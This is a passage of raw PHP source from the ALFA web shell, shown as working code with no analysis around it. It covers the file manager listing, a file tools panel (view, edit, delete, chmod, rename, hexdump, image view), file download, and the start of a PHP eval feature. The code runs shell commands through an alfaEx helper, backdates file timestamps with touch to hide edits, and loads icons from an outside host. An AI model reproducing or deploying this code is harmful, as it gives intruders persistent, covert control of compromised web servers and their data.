$dirContent[$i]["group"];\n$file_modify = @date(\'Y-m-d H:i:s\', $dirContent[$i]["modify"]);\n$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);\n$file_size = $dirContent[$i]["size"];\nif(substr($dirContent[$i]["name"], 0 ,1) == "/"){\n$file_path = $dirContent[$i]["name"];\n$dirContent[$i]["name"] = "..";\n$filename = $dirContent[$i]["name"];\n}else{\n$file_path = $GLOBALS[\'cwd\']."/".$dirContent[$i]["name"];\n}\n}else{\n$filename = $dirContent[$i];\n$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\n$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\n$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($GLOBALS[\'cwd\'].$filename):"????");\n$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($GLOBALS[\'cwd\'].$filename):"????");\n$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $filename));\n$file_perm = alfaPermsColor($GLOBALS[\'cwd\'].$filename);\n$file_size = @filesize($GLOBALS[\'cwd\'].$filename);\n$file_path = $GLOBALS[\'cwd\'].$filename;\n}\n$tmp = array(\'name\' => $filename,\n\'path\' => $file_path,\n\'modify\' => $file_modify,\n\'perms\' => $file_perm,\n\'size\' => $file_size,\n\'owner\' => $file_owner,\n\'group\' => $file_group\n);\nif($filename == ".." && !$cmd_dir){\n    $tmp["path"] = str_replace("\\\\", "/", realpath($file_path));\n}\nif(!$cmd_dir){\nif(@is_file($file_path)){\n$arr_mrg = array(\'type\' => \'file\');\nif(@is_link($file_path)){\n$arr_mrg["link"] = readlink($tmp[\'path\']);\n}\n$files[] = array_merge($tmp, $arr_mrg);\n}elseif(@is_link($file_path)){\n$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n}elseif(@is_dir($file_path)&& ($filename != ".")){\n$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n}\n}else{\n    if($dirContent[$i]["type"]=="file"){\n        $files[] = array_merge($tmp, array(\'type\' => \'file\'));\n    }else{\n        if($dirContent[$i]["name"] != "."){\n            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n        }\n    }\n}\n}\n$GLOBALS[\'sort\'] = $sort;\nfunction alfaCmp($a, $b) {\nif($GLOBALS[\'sort\'][0] != \'size\')\nreturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\nelse\nreturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n}\nusort($files, "alfaCmp");\nusort($dirs, "alfaCmp");\nif(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){\n    if($_COOKIE["alfa_filesman_direction"] == \'desc\'){\n        $files = array_reverse($files);\n        $dirs = array_reverse($dirs);\n    }\n}\n$files = array_merge($dirs, $files);\n$l=0;\n$cc=0;\nforeach($files as $f){\n$f[\'name\'] = htmlspecialchars($f[\'name\']);\n$newname = mb_strlen($f[\'name\'], \'UTF-8\')>60?mb_substr($f[\'name\'], 0, 60, \'utf-8\').\'...\':$f[\'name\'];\n$checkbox = \'checkbox_\'.$checkbox_rand.$cc;\n$raw_name = rawurlencode($f[\'name\']);\n$icon = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'<img src="\'.findicon($f[\'name\'],$f[\'type\']).\'" width="30" height="30">\':\'\';\n$style = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'position:relative;display:inline-block;bottom:12px;\':\'\';\necho \'<tr class="fmanager-row" id="tr_row_\'.$cc.\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'.$raw_name.\'" class="chkbx" id="\'.$checkbox .\'"><label for="\'.$checkbox .\'"></label></div></td><td id="td_row_\'.$cc.\'">\'.$icon.\'<div style="\'.$style.\'"><a row="\'.$cc.\'" id="id_\'.$cc.\'" class="main_name" onclick="\'.(($f[\'type\']==\'file\')?\'editor(\\\'\'.$raw_name.\'\\\',\\\'auto\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\');" href="#action=fileman&path=\'.$GLOBALS[\'cwd\'].\'&file=\'.$raw_name.\'" fname="\'.$raw_name.\'" ftype="file" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'>\'.($GLOBALS[\'cwd\'].$f[\'name\']==$GLOBALS[\'__file_path\']?"<span class=\'shell_name\' style=\'font-weight:unset;\'>".$f[\'name\']."</span>":htmlspecialchars($newname)):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" href="#action=fileman&path=\'.$f[\'path\'].\'" fname="\'.$raw_name.\'" ftype="folder" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td></div><td><span style="font-weight:unset;" class="main_size">\'.(($f[\'type\']==\'file\')?(isset($f[\'link\'])?\'[L] \':\'\').alfaSize($f[\'size\']):$f[\'type\']).\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'.$f[\'modify\'].\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</span></td><td><a id="id_chmode_\'.$cc.\'" href=javascript:void(0) onclick="editor(\\\'\'.$raw_name.\'\\\',\\\'chmod\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">\'.\n$f[\'perms\'].\'</td><td><a id="id_rename_\'.$cc.\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'rename\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">R</a> <a id="id_touch_\'.$cc.\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'touch\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a id="id_edit_\'.$cc.\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'edit\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">E</a> <a id="id_download_\'.$cc.\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$raw_name.\'\\\', \\\'download\\\')">D</a>\':\'\').\'<a id="id_delete_\'.$cc.\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'.addslashes(rawurldecode($f[\'name\'])).\' # ?\\\'); chk ? g(\\\'FilesMan\\\',null,\\\'delete\\\', \\\'\'.$raw_name.\'\\\') : \\\'\\\';"> X </a></td></tr>\';\n$l = $l?0:1;\n$cc++;\n}\necho "<tr id=\'filemanager_last_tr\'><td colspan=7>\n<input type=hidden name=a value=\'FilesMan\'>\n<input type=hidden name=c value=\'".htmlspecialchars(($GLOBALS[\'glob_chdir_false\']?$_POST[\'c\']:$GLOBALS[\'cwd\']))."\'>\n<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n<select id=\'tools_selector\' name=\'alfa1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\' selected>Delete</option><option value=\'zip\'>Add 2 Compress (zip)</option><option value=\'unzip\'>Add 2 Uncompress (zip)</option><option value=\'paste\'>Paste / Zip / Unzip </option></select>\n<input type=\'submit\' value=\' \'>\n</form></table><div class=\'pages-holder\'><div class=\'pages-number\'>".$page_builder."</div></div></div></div>";\nalfafooter();\n}\nfunction get_pagination_links($current_page, $total_pages){\n    $links = "";\n    if ($total_pages >= 1 && $current_page <= $total_pages) {\n        $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\"><<</a>";\n        $selected_page = "";\n        if($current_page == 1){\n            $selected_page = " active-page-number";\n        }\n        $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">1</a>";\n        $i = max(2, $current_page - 5);\n        if ($i > 2)\n            $links .= "<a class=\\"page-number\\">...</a>";\n        for (; $i < min($current_page + 6, $total_pages); $i++) {\n            if($i == $current_page){\n                $selected_page = " active-page-number";\n            }else{\n                $selected_page = "";\n            }\n            $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$i}</a>";\n        }\n        if ($i != $total_pages)\n            $links .= "<a class=\\"page-number\\">...</a>";\n        $selected_page = " last-page-number";\n        if($current_page == $total_pages){\n            $selected_page .= " active-page-number";\n        }\n        $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$total_pages}</a>";\n        $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\">>></a>";\n    }\n    return $links;\n}\nfunction alfaFilesTools(){\nalfahead();\necho \'<div class="filestools" style="height: 100%;">\';\nif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\n$alfa1_decoded = $_POST[\'alfa1\'];\n$chdir_fals = false;\nif(!@chdir($_POST[\'c\'])){\n    $chdir_fals = true;\n    $_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\n    $alfa_canruncmd = _alfa_can_runCommand(true,true);\n    if($alfa_canruncmd){\n        $slashed_alfa1 = addslashes($_POST[\'alfa1\']);\n        $file_info = explode(":", alfaEx(\'stat -c "%F:%U:%G:%s:%Y:0%a:%A" "\'.$slashed_alfa1.\'"\'));\n        $perm_color_class = alfaEx("if [[ -w \'".$slashed_alfa1."\' ]]; then echo main_green_perm; elif [[ -r \'".$slashed_alfa1."\' ]]; then echo main_white_perm; else echo main_red_perm; fi");\n    }\n}\nif($_POST[\'alfa2\'] == \'auto\'){\nif(is_array(@getimagesize($_POST[\'alfa1\']))){\n$_POST[\'alfa2\'] = \'image\';\n}else{\n    $_POST[\'alfa2\'] = \'view\';\n    if($chdir_fals){\n        if($alfa_canruncmd){\n            $mime = explode(":", alfaEx("file --mime-type \'".addslashes($_POST[\'alfa1\'])."\'"));\n            $mimetype = $mime[1];\n            if(!empty($mimetype)){\n                if(strstr($mimetype, "image")){\n                    $_POST[\'alfa2\'] = \'image\';\n                }\n            }\n        }\n    }\n}\n}\nif($_POST[\'alfa2\'] == "rename" && !empty($_POST[\'alfa3\']) && @is_writable($_POST[\'alfa1\'])){$rename_cache = $_POST[\'alfa3\'];}\nif(@$_POST[\'alfa2\'] == \'mkfile\'){\n$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\nif($chdir_fals&&$alfa_canruncmd){\n    if(_alfa_is_writable($_POST["c"])){\n        alfaEx("cd \'".addslashes($_POST["c"])."\';touch \'".addslashes($alfa1_decoded)."\'");\n        $_POST[\'alfa2\'] = "edit";\n    }\n}\nif(!@file_exists($_POST[\'alfa1\'])){\n$fp = @fopen($_POST[\'alfa1\'], \'w\');\nif($fp){\n$_POST[\'alfa2\'] = "edit";\nfclose($fp);\n}\n}else{\n$_POST[\'alfa2\'] = "edit";\n}\n}\nif(!_alfa_file_exists(@$_POST[\'alfa1\'])){\necho __pre()."<center><p><div class=\\"txtfont\\"><font color=\'red\'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory(\'".$_POST[\'alfa4\']."\');</script>";\nalfaFooter();\nreturn;\n}\nif($chdir_fals){\n$filesize = $file_info[3];\n$uid["name"] = $file_info[1];\n$gid["name"] = $file_info[2];\n$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);\n}else{\n$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST[\'alfa1\'])):\'\';\n$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST[\'alfa1\'])):\'\';\nif(!$uid&&!$gid){\n$uid[\'name\'] = function_exists("fileowner")?@fileowner($_POST[\'alfa1\']):\'\';\n$gid[\'name\'] = function_exists("filegroup")?@filegroup($_POST[\'alfa1\']):\'\';\n}\n$permcolor = alfaPermsColor($_POST[\'alfa1\']);\n$filesize = @filesize($_POST[\'alfa1\']);\nif(!isset($uid[\'name\'],$gid[\'name\'])||empty($uid[\'name\'])||empty($gid[\'name\'])){\n    if(_alfa_can_runCommand()){\n        list($uid[\'name\'],$gid[\'name\']) = explode(":", alfaEx(\'stat -c "%U:%G" "\'.addslashes($_POST["c"]."/".$_POST["alfa1"]).\'"\'));\n    }\n}\n}\nif(substr($_POST[\'alfa1\'], 0, 7) == "phar://"){\n    $alfa_file_directory = $_POST[\'alfa1\'];\n}else{\n    $alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST[\'c\'].\'/\').$_POST[\'alfa1\']);\n}\necho \'<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> \'.htmlspecialchars(basename($alfa1_decoded)).\' <span class="editor_file_info_vars">Size:</span> \'.alfaSize($filesize).\' <span class="editor_file_info_vars">Permission:</span> \'.$permcolor.\' <span class="editor_file_info_vars">Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\' <span class="editor_file_info_vars">Directory:</span> \'.dirname($alfa_file_directory).\'</div>\';\nif(empty($_POST[\'alfa2\']))$_POST[\'alfa2\'] = \'view\';\nif(!_alfa_is_dir($_POST[\'alfa1\'])){\n$m = array(\'View\', \'Download\', \'Highlight\', \'Chmod\', \'Rename\', \'Touch\', \'Delete\', \'Image\', \'Hexdump\');\n$ftype = "file";\n}else{\n$m = array(\'Chmod\', \'Rename\', \'Touch\');\n$ftype = "dir";\n}\necho(\'<div>\');\nforeach($m as $v)\necho $v == \'Delete\' ? \'<a href="javascript:void(0);" onclick="var chk=confirm(\\\'Are You Sure For Delete This File ?\\\');chk?editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\'):\\\'\\\';"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a> \' : \'<a href="javascript:void(0);" onclick="editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\')"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a>\';\necho \'</div>\';\nswitch($_POST[\'alfa2\']){\ncase \'view\':case \'edit\':\n@chdir($_POST[\'c\']);\n$disabled_btn = "";\nif(!@is_writable($_POST[\'alfa1\'])&&!_alfa_is_writable($_POST[\'alfa1\'])){\n$disabled_btn = "disabled=disabled";\n$disabled_btn_style= \'background: #ff0000;color: #fff;\';\n}\nif(!empty($_POST[\'alfa3\'])){\n$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);\n$time = @filemtime($_POST[\'alfa1\']);\n$fp = @__write_file($_POST[\'alfa1\'],$_POST[\'alfa3\']);\nif($chdir_fals&&$alfa_canruncmd){\n    $rname = $alfa1_decoded;\n    $randname = $rname.rand(111,9999);\n    $filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;\n    if($fp = @__write_file($filepath ,$_POST[\'alfa3\'])){\n        alfaEx("mv \'".addslashes($filepath)."\' \'".addslashes($_POST["alfa1"])."\';rm -f \'".addslashes($filepath)."\'");\n    }\n}\nif($fp){\necho \'Saved!<br>\';\n@touch($_POST[\'alfa1\'],$time,$time);\n}\n}\necho \'<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">\'._alfa_load_ace_options("editor").\'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\\\'ace_id\\\')].getValue();editor(\\\'\'.addslashes($alfa1_decoded).\'\\\',\\\'edit\\\',\\\'1\\\'+ace_val,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;\'.$disabled_btn_style.\'" \'.$disabled_btn.\'>save</button></div><pre class="ml1 view_ml_content">\';\necho htmlspecialchars(__read_file($_POST[\'alfa1\']));\necho \'</pre></div></div>\';\nbreak;\ncase \'highlight\':\n@chdir($_POST[\'c\']);\nif(@is_readable($_POST[\'alfa1\'])){\necho \'<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">\';\n$code = @highlight_file($_POST[\'alfa1\'],true);\necho str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div></div></div>\';\n}\nbreak;\ncase \'delete\':\n@chdir($_POST[\'c\']);\nif(@is_writable($_POST[\'alfa1\'])||$GLOBALS["glob_chdir_false"]){\n$deleted = true;\nif(!@unlink($_POST[\'alfa1\'])){\n    $deleted = false;\n    if($alfa_canruncmd){\n        if(_alfa_is_writable($_POST[\'alfa1\'])){\n            alfaEx("rm -f \'".addslashes($_POST[\'alfa1\'])."\'");\n            $deleted = true;\n        }\n    }\n}\nif($deleted)echo \'File Deleted...<script>var elem = $("\'.$_POST[\'alfa4\'].\'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["\'.$_POST[\'alfa4\'].\'"];</script>\';else echo \'Error...\';}\nbreak;\ncase \'chmod\':\n@chdir($_POST[\'c\']);\nif(!empty($_POST[\'alfa3\'])){\n$perms = 0;\nfor($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)\n$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));\nif(!@chmod($_POST[\'alfa1\'], $perms)){\nif($chdir_fals&&$alfa_canruncmd){\nalfaEx("cd \'".addslashes($_POST["c"])."\';chmod ".addslashes($_POST[\'alfa3\'])." \'".addslashes($alfa1_decoded)."\'");\necho(\'Success!\');\n}else{\necho \'<font color="#FFFFFF"><b>Can\\\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';}\n}else{echo(\'Success!\');}\n}\nclearstatcache();\nAlfaNum(8,9,10,7,6,5,4,2,1);\nif($chdir_fals){\n    $file_perm = $file_info[5];\n}else{\n    $file_perm = substr(sprintf(\'%o\', @fileperms($_POST[\'alfa1\'])),-4);\n}\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.chmod.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="chmod" value="\'.$file_perm.\'"><input type=submit value=" "></form>\';\nbreak;\ncase \'hexdump\':\n@chdir($_POST[\'c\']);\n$c = __read_file($_POST[\'alfa1\']);\n$n = 0;\n$h = array(\'00000000<br>\',\'\',\'\');\n$len = strlen($c);\nfor ($i=0; $i<$len; ++$i) {\n$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\nswitch ( ord($c[$i]) ) {\ncase 0: $h[2] .= \' \'; break;\ncase 9: $h[2] .= \' \'; break;\ncase 10: $h[2] .= \' \'; break;\ncase 13: $h[2] .= \' \'; break;\ndefault: $h[2] .= $c[$i]; break;\n}\n$n++;\nif ($n == 32) {\n$n = 0;\nif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n$h[1] .= \'<br>\';\n$h[2] .= "\\n";\n}\n}\necho \'<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table></div></div>\';\nbreak;\ncase \'rename\':\n@chdir($_POST[\'c\']);\n$alfa1_escape = addslashes($_POST["alfa1"]);\n$alfa3_escape = addslashes($_POST["alfa3"]);\nif(!empty($_POST[\'alfa3\'])){\n$cmd_rename = false;\nif($chdir_fals&&$alfa_canruncmd){\nif(_alfa_is_writable($_POST[\'alfa1\'])){\n$alfa1_escape = addslashes($alfa1_decoded);\nalfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa3\'])."\'");\n}else{\n$cmd_rename = true;\n}\n}else{\n$alfa1_escape = addslashes($_POST["alfa1"]);\n}\nif(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\'])&&$cmd_rename){\necho \'Can\\\'t rename!<br>\';}else{echo(\'Renamed!<script>try{$("\'.$_POST[\'alfa4\'].\'").innerHTML = "<div class=\\\'editor-icon\\\'>"+loadType(\\\'\'.$alfa3_escape.\'\\\',\\\'\'.$ftype.\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\')+"</div><div class=\\\'editor-file-name\\\'>\'.$alfa3_escape.\'</div>";editor_files["\'.$_POST[\'alfa4\'].\'"].file = "\'.$alfa3_escape.\'";updateFileEditor("\'.$alfa1_escape.\'", "\'.$alfa3_escape.\'");\'.($ftype == "dir"?"updateDirsEditor(\'".$_POST[\'alfa4\']."\',\'".$alfa1_escape."\');":"").\'}catch(e){console.log(e)}</script>\');$alfa1_escape = $alfa3_escape;}\n}\necho \'<form onsubmit="editor(\\\'\'.$alfa1_escape.\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.name.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="name" value="\'.addslashes(htmlspecialchars(isset($_POST[\'alfa3\'])&&$_POST[\'alfa3\']!=\'\'?$_POST[\'alfa3\']:$alfa1_decoded)).\'"><input type=submit value=" "></form>\';\nbreak;\ncase \'touch\':\n@chdir($_POST[\'c\']);\nif( !empty($_POST[\'alfa3\']) ) {\n$time = strtotime($_POST[\'alfa3\']);\nif($time){\n$touched = false;\nif($chdir_fals&&$alfa_canruncmd){\n    alfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa3\']))."\' \'".addslashes($alfa1_decoded)."\'");\n    $touched = true;\n}\nif(!@touch($_POST[\'alfa1\'],$time,$time)&&!$touched)\necho \'Fail!\';\nelse\necho \'Touched!\';\n} else echo \'Bad time format!\';\n}\nclearstatcache();\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.touch.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST[\'alfa1\']))).\'"><input type=submit value=" "></form>\';\nbreak;\ncase \'image\':\n@chdir($_POST[\'c\']);\necho(\'<hr>\');\n$file = $_POST[\'alfa1\'];\n$image_info = @getimagesize($file);\nif(is_array($image_info)||$chdir_fals){\n$width = (int)$image_info[0];\n$height = (int)$image_info[1];\nif($chdir_fals&&$alfa_canruncmd){\n    $source = alfaEx("cat \'".addslashes($file)."\' | base64");\n    list($width, $height) = explode(":", alfaEx("identify -format \'%w:%h\' \'".addslashes($file)."\'"));\n    $mime = explode(":", alfaEx("file --mime-type \'".addslashes($file)."\'"));\n    $image_info[\'mime\'] = $mime[1];\n}else{\n    $source = __ZW5jb2Rlcg(__read_file($file, false));\n}\n$image_info_h = "Image type = <span>[</span> ".$image_info[\'mime\']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";\nif($width > 800){$width = 800;}\necho $content = "<div class=\'editor-view\'><div class=\'view-content\'><center>".$image_info_h."<br><img id=\'viewImage\' style=\'max-width:100%;border:1px solid green;\' src=\'data:".$image_info[\'mime\'].";base64,".$source."\' alt=\'".$file."\'></center></div></div><br>";\n}\nbreak;\n}\necho \'</div>\';\nalfaFooter();\n}\nfunction findicon($file,$type){\n$s = \'http://solevisible.com/icons/\';\n$types = array(\'json\',\'ppt\',\'pptx\',\'xls\',\'xlsx\',\'msi\',\'config\',\'cgi\',\'pm\',\'c\',\'cpp\',\'cs\',\'java\',\'aspx\',\'asp\',\'db\',\'ttf\',\'eot\',\'woff\',\'woff2\',\'woff\',\'conf\',\'log\',\'apk\',\'cab\',\'bz2\',\'tgz\',\'dmg\',\'izo\',\'jar\',\'7z\',\'iso\',\'rar\',\'bat\',\'sh\',\'alfa\',\'gz\',\'tar\',\'php\',\'php4\',\'php5\',\'phtml\',\'html\',\'xhtml\',\'shtml\',\'htm\',\'zip\',\'png\',\'jpg\',\'jpeg\',\'gif\',\'bmp\',\'ico\',\'txt\',\'js\',\'rb\',\'py\',\'xml\',\'css\',\'sql\',\'htaccess\',\'pl\',\'ini\',\'dll\',\'exe\',\'mp3\',\'mp4\',\'m4a\',\'mov\',\'flv\',\'swf\',\'mkv\',\'avi\',\'wmv\',\'mpg\',\'mpeg\',\'dat\',\'pdf\',\'3gp\',\'doc\',\'docx\',\'docm\');\nif($type!=\'file\'){\nreturn ($file==\'..\'?$s.\'back.png\':$s.\'folder.png\');\n}else{\n$ext = explode(\'.\',$file);\n$ext = end($ext);\n$ext = strtolower($ext);\nreturn (in_array($ext,$types)?$s.$ext.\'.png\':$s.\'notfound.png\');\n}\n}\nfunction alfadlfile(){\nif(isset($_POST[\'c\'],$_POST[\'file\'])){\n$basename = rawurldecode(basename($_POST[\'file\']));\n$_POST[\'file\'] = str_replace("//", "/", $_POST[\'c\'].\'/\'.$basename);\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\nif(@is_file($_POST[\'file\']) && @is_readable($_POST[\'file\']) || $alfa_canruncmd){\nob_start("ob_gzhandler", 4096);\nheader("Content-Disposition: attachment; filename=\\"".addslashes($basename)."\\"");\nheader("Content-Type: application/octet-stream");\nif($GLOBALS["glob_chdir_false"]){\n    $randname = $basename.rand(111,9999);\n    $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);\n    $filepath = $scriptpath."/".$randname;\n    if(_alfa_is_writable($scriptpath)){\n        alfaEx("cp \'".addslashes($_POST["file"])."\' \'".addslashes($filepath)."\'");\n        readfile($filepath);\n        @unlink($filepath);\n    }else{\n        alfaEx("cat \'".addslashes($_POST["file"])."\'");\n    }\n}else{\n    readfile($_POST[\'file\']);\n}\n}else echo(\'Error...!\');}}\nfunction __alfa_set_cookie($key, $value){\n    $_COOKIE[$key] = $value;\n    @setcookie($key, $value, time()+(86400 * 7), \'/\');\n}\nfunction alfaphpeval(){\nif(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){\n    $tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);\n}else{\n    $tempdir = dirname(alfaEx("mktemp"));\n    __alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));\n}\nalfahead();\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')){\necho \'<div class=header>\';\nob_start();\n$INI=ini_get_all();\nprint \'<table border=0><tr>\'\n.\'<td class="listing"><font class="highlight_txt">Param</td>\'\n.\'<td class="listing"><font class="highlight_txt">Global value</td>\'\n.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'\n.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';\nforeach ($INI as $param => $values)\nprint "\\n".\'<tr>\'\n.\'<td class="listing"><b>\'.$param.\'</td>\'\n.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'\n.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'\n.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';\n$tmp = ob_get_clean();\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n}\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {\necho \'<div class=header><style>.p 